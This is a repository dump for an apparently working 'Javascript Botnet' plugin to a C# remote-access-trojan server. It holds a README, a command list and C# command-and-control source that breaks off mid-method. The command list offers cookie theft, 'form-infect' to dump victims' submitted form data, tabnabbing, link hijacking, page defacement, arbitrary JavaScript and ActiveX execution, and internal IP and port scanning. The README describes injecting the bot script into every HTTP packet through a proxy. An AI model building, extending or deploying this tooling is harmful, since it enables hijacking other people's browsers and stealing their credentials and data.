├── .gitattributes ├── .gitignore ├── CODE_OF_CONDUCT.md ├── CONTRIBUTING.md ├── Commands.md ├── LICENSE ├── README.md ├── WebPlugin.sln └── WebPlugin ├── Class1.cs ├── Properties └── AssemblyInfo.cs ├── WebPlugin.csproj └── bin └── Debug ├── WebPlugin.dll ├── c# R.A.T Browser ├── main.js └── testSite.html └── sCore.dll /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | 4 | # User-specific files 5 | *.suo 6 | *.user 7 | *.userosscache 8 | *.sln.docstates 9 | 10 | # User-specific files (MonoDevelop/Xamarin Studio) 11 | *.userprefs 12 | 13 | # Build results 14 | #[Dd]ebug/ 15 | [Dd]ebugPublic/ 16 | [Rr]elease/ 17 | [Rr]eleases/ 18 | x64/ 19 | x86/ 20 | bld/ 21 | #[Bb]in/ 22 | [Oo]bj/ 23 | [Ll]og/ 24 | 25 | # Visual Studio 2015 cache/options directory 26 | .vs/ 27 | # Uncomment if you have tasks that create the project's static files in wwwroot 28 | #wwwroot/ 29 | 30 | # MSTest test Results 31 | [Tt]est[Rr]esult*/ 32 | [Bb]uild[Ll]og.* 33 | 34 | # NUNIT 35 | *.VisualState.xml 36 | TestResult.xml 37 | 38 | # Build Results of an ATL Project 39 | [Dd]ebugPS/ 40 | [Rr]eleasePS/ 41 | dlldata.c 42 | 43 | # DNX 44 | project.lock.json 45 | project.fragment.lock.json 46 | artifacts/ 47 | 48 | *_i.c 49 | *_p.c 50 | *_i.h 51 | *.ilk 52 | *.meta 53 | *.obj 54 | *.pch 55 | *.pdb 56 | *.pgc 57 | *.pgd 58 | *.rsp 59 | *.sbr 60 | *.tlb 61 | *.tli 62 | *.tlh 63 | *.tmp 64 | *.tmp_proj 65 | *.log 66 | *.vspscc 67 | *.vssscc 68 | .builds 69 | *.pidb 70 | *.svclog 71 | *.scc 72 | 73 | # Chutzpah Test files 74 | _Chutzpah* 75 | 76 | # Visual C++ cache files 77 | ipch/ 78 | *.aps 79 | *.ncb 80 | *.opendb 81 | *.opensdf 82 | *.sdf 83 | *.cachefile 84 | *.VC.db 85 | *.VC.VC.opendb 86 | 87 | # Visual Studio profiler 88 | *.psess 89 | *.vsp 90 | *.vspx 91 | *.sap 92 | 93 | # TFS 2012 Local Workspace 94 | $tf/ 95 | 96 | # Guidance Automation Toolkit 97 | *.gpState 98 | 99 | # ReSharper is a .NET coding add-in 100 | _ReSharper*/ 101 | *.[Rr]e[Ss]harper 102 | *.DotSettings.user 103 | 104 | # JustCode is a .NET coding add-in 105 | .JustCode 106 | 107 | # TeamCity is a build add-in 108 | _TeamCity* 109 | 110 | # DotCover is a Code Coverage Tool 111 | *.dotCover 112 | 113 | # NCrunch 114 | _NCrunch_* 115 | .*crunch*.local.xml 116 | nCrunchTemp_* 117 | 118 | # MightyMoose 119 | *.mm.* 120 | AutoTest.Net/ 121 | 122 | # Web workbench (sass) 123 | .sass-cache/ 124 | 125 | # Installshield output folder 126 | [Ee]xpress/ 127 | 128 | # DocProject is a documentation generator add-in 129 | DocProject/buildhelp/ 130 | DocProject/Help/*.HxT 131 | DocProject/Help/*.HxC 132 | DocProject/Help/*.hhc 133 | DocProject/Help/*.hhk 134 | DocProject/Help/*.hhp 135 | DocProject/Help/Html2 136 | DocProject/Help/html 137 | 138 | # Click-Once directory 139 | publish/ 140 | 141 | # Publish Web Output 142 | *.[Pp]ublish.xml 143 | *.azurePubxml 144 | # TODO: Comment the next line if you want to checkin your web deploy settings 145 | # but database connection strings (with potential passwords) will be unencrypted 146 | #*.pubxml 147 | *.publishproj 148 | 149 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 150 | # checkin your Azure Web App publish settings, but sensitive information contained 151 | # in these scripts will be unencrypted 152 | PublishScripts/ 153 | 154 | # NuGet Packages 155 | *.nupkg 156 | # The packages folder can be ignored because of Package Restore 157 | **/packages/* 158 | # except build/, which is used as an MSBuild target. 159 | !**/packages/build/ 160 | # Uncomment if necessary however generally it will be regenerated when needed 161 | #!**/packages/repositories.config 162 | # NuGet v3's project.json files produces more ignoreable files 163 | *.nuget.props 164 | *.nuget.targets 165 | 166 | # Microsoft Azure Build Output 167 | csx/ 168 | *.build.csdef 169 | 170 | # Microsoft Azure Emulator 171 | ecf/ 172 | rcf/ 173 | 174 | # Windows Store app package directories and files 175 | AppPackages/ 176 | BundleArtifacts/ 177 | Package.StoreAssociation.xml 178 | _pkginfo.txt 179 | 180 | # Visual Studio cache files 181 | # files ending in .cache can be ignored 182 | *.[Cc]ache 183 | # but keep track of directories ending in .cache 184 | !*.[Cc]ache/ 185 | 186 | # Others 187 | ClientBin/ 188 | ~$* 189 | *~ 190 | *.dbmdl 191 | *.dbproj.schemaview 192 | *.jfm 193 | *.pfx 194 | *.publishsettings 195 | node_modules/ 196 | orleans.codegen.cs 197 | 198 | # Since there are multiple workflows, uncomment next line to ignore bower_components 199 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 200 | #bower_components/ 201 | 202 | # RIA/Silverlight projects 203 | Generated_Code/ 204 | 205 | # Backup & report files from converting an old project file 206 | # to a newer Visual Studio version. Backup files are not needed, 207 | # because we have git ;-) 208 | _UpgradeReport_Files/ 209 | Backup*/ 210 | UpgradeLog*.XML 211 | UpgradeLog*.htm 212 | 213 | # SQL Server files 214 | *.mdf 215 | *.ldf 216 | 217 | # Business Intelligence projects 218 | *.rdl.data 219 | *.bim.layout 220 | *.bim_*.settings 221 | 222 | # Microsoft Fakes 223 | FakesAssemblies/ 224 | 225 | # GhostDoc plugin setting file 226 | *.GhostDoc.xml 227 | 228 | # Node.js Tools for Visual Studio 229 | .ntvs_analysis.dat 230 | 231 | # Visual Studio 6 build log 232 | *.plg 233 | 234 | # Visual Studio 6 workspace options file 235 | *.opt 236 | 237 | # Visual Studio LightSwitch build output 238 | **/*.HTMLClient/GeneratedArtifacts 239 | **/*.DesktopClient/GeneratedArtifacts 240 | **/*.DesktopClient/ModelManifest.xml 241 | **/*.Server/GeneratedArtifacts 242 | **/*.Server/ModelManifest.xml 243 | _Pvt_Extensions 244 | 245 | # Paket dependency manager 246 | .paket/paket.exe 247 | paket-files/ 248 | 249 | # FAKE - F# Make 250 | .fake/ 251 | 252 | # JetBrains Rider 253 | .idea/ 254 | *.sln.iml 255 | 256 | # CodeRush 257 | .cr/ 258 | 259 | # Python Tools for Visual Studio (PTVS) 260 | __pycache__/ 261 | *.pyc -------------------------------------------------------------------------------- /CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Contributor Covenant Code of Conduct 2 | 3 | ## Our Pledge 4 | 5 | In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. 6 | 7 | ## Our Standards 8 | 9 | Examples of behavior that contributes to creating a positive environment include: 10 | 11 | * Using welcoming and inclusive language 12 | * Being respectful of differing viewpoints and experiences 13 | * Gracefully accepting constructive criticism 14 | * Focusing on what is best for the community 15 | * Showing empathy towards other community members 16 | 17 | Examples of unacceptable behavior by participants include: 18 | 19 | * The use of sexualized language or imagery and unwelcome sexual attention or advances 20 | * Trolling, insulting/derogatory comments, and personal or political attacks 21 | * Public or private harassment 22 | * Publishing others' private information, such as a physical or electronic address, without explicit permission 23 | * Other conduct which could reasonably be considered inappropriate in a professional setting 24 | 25 | ## Our Responsibilities 26 | 27 | Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. 28 | 29 | Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. 30 | 31 | ## Scope 32 | 33 | This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. 34 | 35 | ## Enforcement 36 | 37 | Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at ghost@mcghost.ddns.net. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. 38 | 39 | Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. 40 | 41 | ## Attribution 42 | 43 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] 44 | 45 | [homepage]: http://contributor-covenant.org 46 | [version]: http://contributor-covenant.org/version/1/4/ 47 | -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Contribution 2 | **Thank you for considering contribution to the Javascript Botnet C\# Project!** 3 | ## How to contribute? 4 | It's very simple! 5 | 1. Fork the project 6 | 2. Make the changes 7 | 3. Issue a pull request 8 | 4. I will do a merge after verifying (in some cases changing) the code 9 | ## How to report bugs? 10 | You can simply use the *Issues* section on github 11 | Just write an issue, and i will try to respond within 24 hours! 12 | ## How to contribute? (without writing code) 13 | You can also do this on the *Issues* section, and i will label it as *enhancement* 14 | This way you can suggest new features, or change an older one without coding. 15 | I will try to respond within 24 hours! 16 | ## How to run / compile 17 | I use Visual Studio 2017 Community Edition. 18 | The program is written in c\# and built with .NET Framework 4.5 19 | For the client side you can use any modern browser and the text editor of your choice 20 | Any additional requirements can be found under WebPlugin/bin/debug 21 | ## How to ask questions? 22 | You can also use the *Issues* section on GitHub, i will assign a label to it, so it's different from bugs. 23 | I will try to respond within 24 hours! 24 | You can also contact me at my [Youtube Channel](https://www.youtube.com/channel/UCYIOySp8zTTWJG5-n8wpZ2g) 25 | Either a comment on the video about the topic, or a message at the *Discussion* section on my channel page 26 | -------------------------------------------------------------------------------- /Commands.md: -------------------------------------------------------------------------------- 1 | # Complete list of commands for the Javascript botent 2 | `test` - Test the connection between the server and the client 3 | `alert [message]` - Display a classic alert box with the specified message 4 | `push-html [html content/local html file path]` - Replace the page with the specified content (kind of deface i guess) 5 | `append-html [html content/local html file path]` - Append html content at the end of the page 6 | `get-site` - Display the url of the current site 7 | `get-cookie` - Read cookies from the current site 8 | `form-infect` - Infect the form with a data dumping code 9 | **Note:** Results are sent when the form is submitted, then it gets saved at TutServer/formDump.txt with all field names, values and the clientID which submitted the form 10 | `get-info` - Get the screen size of the target 11 | `check-pop-up` - Check if a pop-up window can be displayed 12 | `check-activex` - Check if an ActiveX command can be executed / accepeted by the user/browser 13 | `play-audio [audio file link]` - Play's an audio file from the specified link 14 | `hijack-link [target link]` - Replace all links on the site with the specified link 15 | `prompt [message]` - Display a basic prompt with the specified message 16 | **Note:** The client will return the text the user responded with to the prompt. 17 | `redirect [target link]` - Redirect the page to the specified link 18 | `geolocate` - Try to get the users position latitude and longitude 19 | **Note:** The user will see a dialog and gets presented with yes/no if responds with yes you get the location, else you get an error permission denied. 20 | Results are sent when we got location or the user cancelled the prompt, if you switch the controlled client the result will still get displayed. 21 | `execute-js [javascript code/local javascript file]` - Execute raw javascript in the browser 22 | `ipscan [3rd octet]` - Scan the network for online IPs 23 | **Note:** The program can only work with 255.255.0.0 subnet mask meaning that you can't specify the first two octets. 24 | The last octet gets scanned from 0 to 254 and you can specify the 3rd octet 25 | `ipscan` - Scan the network for common class C Adresses 26 | **Note:** This will only try the popular 3rd octets: xxx.xxx.0, 1, 10 match is not 100% chance 27 | `port-scan [IP Address] [port Number]` - Scans a specific port for a specific IP 28 | **Note:** Some ports a blocked by the browsers in this case the bot will respond with a message like "blocked by browser" and not port closed. 29 | `prevent-close` - Prevents the closing of the tab 30 | **Note:** This doesn't really work science browsers block this kind of behavior, becauase scammers used it to keep their page open. 31 | But the user can still choose to stay on the page, so that's why i left it in. 32 | `tabnab [target link] [wait time in seconds]` - redirects the page to the specified link after a speified time of inaactivity 33 | `execute-ax [command]` - Execute a command with ActiveX only on window and IE 34 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Advanced Hacking 101 Project Licence 2 | short and simple 3 | You are free to do anything with this project, as long as you credit me and the project 4 | Links to the project are enough 5 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Javascript Botent 2 | This is a botnet based on javascript to hack into users browsers. 3 | This project is a plug-in for the [C# R.A.T Server](https://github.com/AdvancedHacker101/C-Sharp-R.A.T-Server) Project. 4 | Some key functions are: 5 | - TabNabbing 6 | - Form Data Dumping 7 | - Replacing and adding html content 8 | 9 | ## Installation 10 | ### Server Side 11 | 1. Put the WebPlugin.dll file from WebPlugin/bin/Debug into TutServer/bin/Debug/scripts 12 | 2. Start TutServer.exe 13 | 3. Switch to the tab "Plugins" 14 | 4. Select WebPlugin.dll from the list 15 | 5. Click Execute 16 | 6. Enter a port for the server to run on for example **80** 17 | 18 | **Note:** this is a separate socket server from the normal windows and linux client one, choose a different port from 100 19 | This is only a plugin and using it is **optional**, it won't break the c# R.A.T Server in any cases 20 | 21 | ### Client Side 22 | We have 2 options here: 23 | - Create a test website which loads WebPlugin/bin/Debug/C# R.A.T Browser/main.js (btw. testSite.html does this) 24 | - Or inject main.js into every http packet with for example the [C# Proxy Server](https://github.com/AdvancedHacker101/C-Sharp-Proxy-Server) 25 | 26 | **Note:** Don't forget to re-write the ip and port in the main.js file, it's in a variable named serverLocation at the 17th line 27 | For additional resources read: 28 | - [The Code of Conduct](https://github.com/AdvancedHacker101/Javascript-Botnet-C-Sharp/blob/master/CODE_OF_CONDUCT.md) 29 | - [How to contribute](https://github.com/AdvancedHacker101/Javascript-Botnet-C-Sharp/blob/master/CONTRIBUTING.md) 30 | - [The licence file](https://github.com/AdvancedHacker101/Javascript-Botnet-C-Sharp/blob/master/LICENSE) 31 | - [Complete list of commands](https://github.com/AdvancedHacker101/Javascript-Botnet-C-Sharp/blob/master/Commands.md) 32 | -------------------------------------------------------------------------------- /WebPlugin.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.26430.12 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "WebPlugin", "WebPlugin\WebPlugin.csproj", "{2B32ECDE-4912-4142-8A86-28DFBA7B6B15}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {2B32ECDE-4912-4142-8A86-28DFBA7B6B15}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {2B32ECDE-4912-4142-8A86-28DFBA7B6B15}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {2B32ECDE-4912-4142-8A86-28DFBA7B6B15}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {2B32ECDE-4912-4142-8A86-28DFBA7B6B15}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /WebPlugin/Class1.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading; 6 | using sCore; 7 | using System.Net.Sockets; 8 | using sCore.IO; 9 | using System.Windows.Forms; 10 | using System.Net; 11 | using System.Drawing; 12 | using System.IO; 13 | 14 | namespace WebPlugin 15 | { 16 | /// 17 | /// Multiple same key allowing dictionary from proxyServer project 18 | /// 19 | public class VDictionary //String only 20 | { 21 | List> kvp = new List>(); 22 | public IEnumerable> Items 23 | { 24 | get 25 | { 26 | foreach (KeyValuePair lvp in kvp) 27 | { 28 | yield return lvp; 29 | } 30 | } 31 | } 32 | 33 | public int Count 34 | { 35 | get { return kvp.Count; } 36 | } 37 | 38 | public List Keys 39 | { 40 | get 41 | { 42 | List temp = new List(); 43 | foreach (KeyValuePair lvp in kvp) 44 | { 45 | temp.Add(lvp.Key); 46 | } 47 | 48 | return temp; 49 | } 50 | } 51 | 52 | public List Values 53 | { 54 | get 55 | { 56 | List temp = new List(); 57 | foreach (KeyValuePair lvp in kvp) 58 | { 59 | temp.Add(lvp.Value); 60 | } 61 | 62 | return temp; 63 | } 64 | } 65 | 66 | public string this[string index] 67 | { 68 | get 69 | { 70 | return At(index); 71 | } 72 | 73 | set 74 | { 75 | SetOne(index, value); 76 | } 77 | } 78 | 79 | public void SetOne(string key, string newText) 80 | { 81 | int i = 0; 82 | bool canSet = false; 83 | 84 | foreach (KeyValuePair lvp in kvp) 85 | { 86 | if (lvp.Key == key) 87 | { 88 | canSet = true; 89 | break; 90 | } 91 | i++; 92 | } 93 | 94 | if (canSet) SetByIndex(i, newText); 95 | } 96 | 97 | public void SetByIndex(int index, string newText) 98 | { 99 | kvp[index] = new KeyValuePair(kvp[index].Key, newText); 100 | } 101 | 102 | public void SetByIndex(int[] indicies, string[] newText) 103 | { 104 | int loopIndex = 0; 105 | foreach (int i in indicies) 106 | { 107 | SetByIndex(i, newText[loopIndex]); 108 | loopIndex++; 109 | } 110 | } 111 | 112 | public void SetAll(string key, string value) 113 | { 114 | foreach (KeyValuePair lvp in kvp) 115 | { 116 | if (lvp.Key == key) 117 | { 118 | SetOne(key, value); 119 | } 120 | } 121 | } 122 | 123 | /// 124 | /// Add's an element into the Dictionary 125 | /// 126 | /// The key of the element (can be a duplicate) 127 | /// The value of the element (can be a dublicate) 128 | 129 | public void Add(string key, string value) 130 | { 131 | KeyValuePair current = new KeyValuePair(key, value); 132 | kvp.Add(current); 133 | } 134 | 135 | /// 136 | /// Remove's the first element having the same key as specified 137 | /// 138 | /// The key of the element to be removed 139 | 140 | public void RemoveByKey(string key) 141 | { 142 | int index = 0; 143 | bool canRemove = false; 144 | foreach (KeyValuePair lvp in kvp) 145 | { 146 | if (lvp.Key == key) 147 | { 148 | canRemove = true; 149 | break; 150 | } 151 | 152 | index++; 153 | } 154 | 155 | if (canRemove) kvp.RemoveAt(index); 156 | } 157 | 158 | /// 159 | /// Remove's all element having the same key as specified 160 | /// 161 | /// The key of the element(s) you want to remove 162 | 163 | public void RemoveAllByKey(string key) 164 | { 165 | List temp = new List(); 166 | int index = 0; 167 | 168 | foreach (KeyValuePair lvp in kvp) 169 | { 170 | if (lvp.Key == key) 171 | { 172 | temp.Add(index); 173 | } 174 | 175 | index++; 176 | } 177 | 178 | if (temp.Count > 0) 179 | { 180 | RemoveByIndex(temp.ToArray()); 181 | } 182 | } 183 | 184 | /// 185 | /// Remove's all element from the dictionary 186 | /// 187 | 188 | public void Clear() 189 | { 190 | kvp.Clear(); 191 | } 192 | 193 | /// 194 | /// Remove's an element with the specified index form the dictionary 195 | /// 196 | /// The index of the item you want ot remove 197 | 198 | public void RemoveByIndex(int index) 199 | { 200 | kvp.RemoveAt(index); 201 | } 202 | 203 | /// 204 | /// Remove's multiple items specified by the indices array 205 | /// 206 | /// The int array of the element id's which you want to remove 207 | 208 | public void RemoveByIndex(int[] indicies) 209 | { 210 | for (int i = 0; i < indicies.Length; i++) 211 | { 212 | int cIndex = indicies[i]; 213 | kvp.RemoveAt(cIndex); 214 | for (int c = i; c < indicies.Length; c++) 215 | { 216 | int lci = indicies[c]; 217 | if (lci > cIndex) 218 | { 219 | indicies[c] -= 1; 220 | } 221 | } 222 | } 223 | } 224 | 225 | /// 226 | /// Read's the first element with the specified key 227 | /// 228 | /// The key of the element 229 | /// String value 230 | 231 | public string At(string key) 232 | { 233 | int index = 0; 234 | 235 | foreach (KeyValuePair lvp in kvp) 236 | { 237 | if (lvp.Key == key) 238 | { 239 | return At(index); 240 | } 241 | 242 | index++; 243 | } 244 | 245 | return null; 246 | } 247 | 248 | /// 249 | /// Read's the value of an element based on the index specified 250 | /// 251 | /// Index of the element 252 | /// String value 253 | 254 | public string At(int index) 255 | { 256 | if (index >= kvp.Count || kvp.Count == 0) return null; 257 | string value = kvp[index].Value; 258 | return value; 259 | } 260 | 261 | /// 262 | /// Read's multiple items with the same key 263 | /// 264 | /// The key of the item(s) 265 | /// String array of values 266 | 267 | public IEnumerable GetMultipleItems(string key) 268 | { 269 | int index = 0; 270 | 271 | foreach (KeyValuePair lvp in kvp) 272 | { 273 | if (lvp.Key == key) 274 | { 275 | yield return At(index); 276 | } 277 | 278 | index++; 279 | } 280 | } 281 | 282 | /// 283 | /// Read's multiple items based on the indeicies 284 | /// 285 | /// The indicies of the requested values 286 | /// String array of values 287 | 288 | public IEnumerable GetMultipleItems(int[] indicies) 289 | { 290 | foreach (int i in indicies) 291 | { 292 | yield return kvp[i].Value; 293 | } 294 | } 295 | 296 | /// 297 | /// Read's wheter you have at least one element with the specified key 298 | /// 299 | /// The key of the element you want to search 300 | /// True if element with the key is present 301 | 302 | public bool ContainsKey(string key) 303 | { 304 | foreach (KeyValuePair lvp in kvp) 305 | { 306 | if (lvp.Key == key) return true; 307 | } 308 | 309 | return false; 310 | } 311 | 312 | /// 313 | /// Read's wheter at least one element with the same value exists 314 | /// 315 | /// The value of the element to search 316 | /// True if the value is in at least on of the elements 317 | 318 | public bool ContainsValue(string value) 319 | { 320 | foreach (KeyValuePair lvp in kvp) 321 | { 322 | if (lvp.Value == value) return true; 323 | } 324 | 325 | return false; 326 | } 327 | } 328 | 329 | public class JSBotnetMessageEventArgs 330 | { 331 | private string _botMessage; 332 | private string _clientID; 333 | private Dictionary _rawResponse; 334 | 335 | public JSBotnetMessageEventArgs(string botMessage, string clientID, Dictionary rawResponse) 336 | { 337 | BotMessage = botMessage; 338 | ClientID = clientID; 339 | RawResponse = rawResponse; 340 | } 341 | 342 | public string BotMessage { get { return _botMessage; } private set { _botMessage = value; } } 343 | public string ClientID { get { return _clientID; } private set { _clientID = value; } } 344 | public Dictionary RawResponse { get { return _rawResponse; } private set { _rawResponse = value; } } 345 | } 346 | 347 | /// 348 | /// Main Plugin Class 349 | /// 350 | public class Class1 : IPluginMain 351 | { 352 | #region Global Variables 353 | 354 | //Define plugin variables 355 | public string ScriptName { get; set; } = "Javascript Bot Connector"; 356 | public Version Scriptversion { get; set; } = new Version(1, 0); 357 | public string AuthorName { get; set; } = "Advanced Hacking 101"; 358 | public Permissions[] ScriptPermissions { get; set; } = { Permissions.Display }; 359 | public string ScriptDescription { get; set; } = "Provides connection/interaction with Javascript botnets"; 360 | /// 361 | /// Socket for http server 362 | /// 363 | private Socket _serverSocket; 364 | /// 365 | /// List of client IDs and last comms date 366 | /// 367 | private Dictionary _clientList = new Dictionary(); 368 | /// 369 | /// Command list for clients to execute 370 | /// 371 | private VDictionary commandPoll = new VDictionary(); 372 | private int reservedIds = 0; 373 | /// 374 | /// If true, admin can't send new commands 375 | /// 376 | private bool blockCommands = false; 377 | private object pollLock = new object(); 378 | /// 379 | /// The currently selected client by the admin 380 | /// 381 | private string currentClient = ""; 382 | /// 383 | /// Reference to the output box 384 | /// 385 | private RichTextBox output; 386 | /// 387 | /// Reference to the client selection 388 | /// 389 | private ComboBox peerList; 390 | /// 391 | /// Plugin API access token 392 | /// 393 | private string pluginToken; 394 | /// 395 | /// Indicates if display permissions are given 396 | /// 397 | private bool canDisplay = true; 398 | /// 399 | /// If true threads will stop on the next loop 400 | /// 401 | private bool threadStop = false; 402 | /// 403 | /// Token for api ownership 404 | /// 405 | private string apiToken = ""; 406 | /// 407 | /// Index of the default permission checker 408 | /// 409 | private const int pDefault = 0; 410 | /// 411 | /// Index of server control permission checker 412 | /// 413 | private const int pServerControl = 1; 414 | /// 415 | /// Index of command sending permission checker 416 | /// 417 | private const int pJSBot = 2; 418 | /// 419 | /// Delegate for JS Client messages received 420 | /// 421 | /// The message event args 422 | public delegate void JSBotMessage(JSBotnetMessageEventArgs e); 423 | /// 424 | /// Delegate for returning string arrays 425 | /// 426 | /// String array 427 | public delegate string[] StringArrayReturnDelegate(); 428 | /// 429 | /// Event for reading incoming client messages 430 | /// 431 | public event JSBotMessage JSBotnetMessageReceived; 432 | /// 433 | /// A list of tokens allowed to send commands to JS Botnets 434 | /// 435 | private List jsAllowedTokens = new List(); 436 | 437 | #endregion 438 | 439 | /// 440 | /// Plugin Entry point 441 | /// 442 | public void Main() 443 | { 444 | pluginToken = sCore.Integration.Integrate.SetPlugin(this); //Generate token and register plugin 445 | apiToken = sCore.Utils.ExternalAPIs.CreateOwnerKey(); //Generate api ownership key 446 | PublishAPI(); //Publish External API Functions 447 | //Check if display permission is given 448 | if (!sCore.Integration.Integrate.GrantedEveryPermission(pluginToken, this)) canDisplay = false; 449 | else canDisplay = true; 450 | sCore.Integration.MainFunction main = new sCore.Integration.MainFunction(PMain); //Create a new Plugin Main function 451 | sCore.Integration.Integrate.StartPluginThread(main); //Start the plugin thread 452 | Console.WriteLine("Init completed"); //Debug message 453 | } 454 | 455 | /// 456 | /// Get a list of connected clients 457 | /// 458 | /// String array of active online clients 459 | [sCore.Utils.ExternalAPIs.ExternAPI(FunctionName = "JSBotnet.GetClients", PermissionCheckerID = 0)] 460 | public string[] XGetClientList() 461 | { 462 | TabControl tc = sCore.UI.CommonControls.mainTabControl; 463 | 464 | if (tc.InvokeRequired) 465 | { 466 | StringArrayReturnDelegate sard = new StringArrayReturnDelegate(XGetClientList); 467 | return (string[])tc.Invoke(sard, null); 468 | } 469 | 470 | return _clientList.Keys.ToArray(); 471 | } 472 | 473 | /// 474 | /// Control a specified client 475 | /// 476 | /// The ID of the client to control 477 | [sCore.Utils.ExternalAPIs.ExternAPI(FunctionName = "JSBotnet.ControlClient", PermissionCheckerID = 1)] 478 | public void XControlClient(string clientID) 479 | { 480 | TabControl tc = sCore.UI.CommonControls.mainTabControl; 481 | 482 | if (!_clientList.ContainsKey(clientID)) return; 483 | 484 | if (tc.InvokeRequired) 485 | { 486 | tc.Invoke(new StringDelegate(XControlClient), new object[] { clientID }); 487 | return; 488 | } 489 | 490 | currentClient = clientID; 491 | peerList.SelectedItem = clientID; 492 | } 493 | 494 | /// 495 | /// Send commands to JS Botnets 496 | /// 497 | /// The id of the client to send the command to 498 | /// The command to send to the client 499 | [sCore.Utils.ExternalAPIs.ExternAPI(FunctionName = "JSBotnet.SendCommand", PermissionCheckerID = 2)] 500 | public void XSendCommand(string clientID, string command) 501 | { 502 | TabControl tc = sCore.UI.CommonControls.mainTabControl; 503 | 504 | if (!_clientList.ContainsKey(clientID)) return; 505 | 506 | if (tc.InvokeRequired) 507 | { 508 | tc.Invoke(new String2Delegate(XSendCommand), new object[] { clientID, command }); 509 | return; 510 | } 511 | 512 | TextBox t = new TextBox(); 513 | t.Text = command; 514 | KeyDownHandler(t, new KeyEventArgs(Keys.Return)); 515 | } 516 | 517 | /// 518 | /// Get the full output screen 519 | /// 520 | /// The output screen text 521 | [sCore.Utils.ExternalAPIs.ExternAPI(FunctionName = "JSBotnet.GetOutput", PermissionCheckerID = 0)] 522 | public string XGetOutput() 523 | { 524 | TabControl tc = sCore.UI.CommonControls.mainTabControl; 525 | 526 | if (tc.InvokeRequired) 527 | { 528 | return (string)tc.Invoke(new StringReturnDelegate(XGetOutput), null); 529 | } 530 | 531 | return output.Text; 532 | } 533 | 534 | /// 535 | /// Permission Checker Function for command sending to JS Botnets 536 | /// 537 | /// The plugin token of the calling plugin 538 | /// True if the plugin has permission, otherwise false 539 | public bool JSBotPermission(string token) 540 | { 541 | if 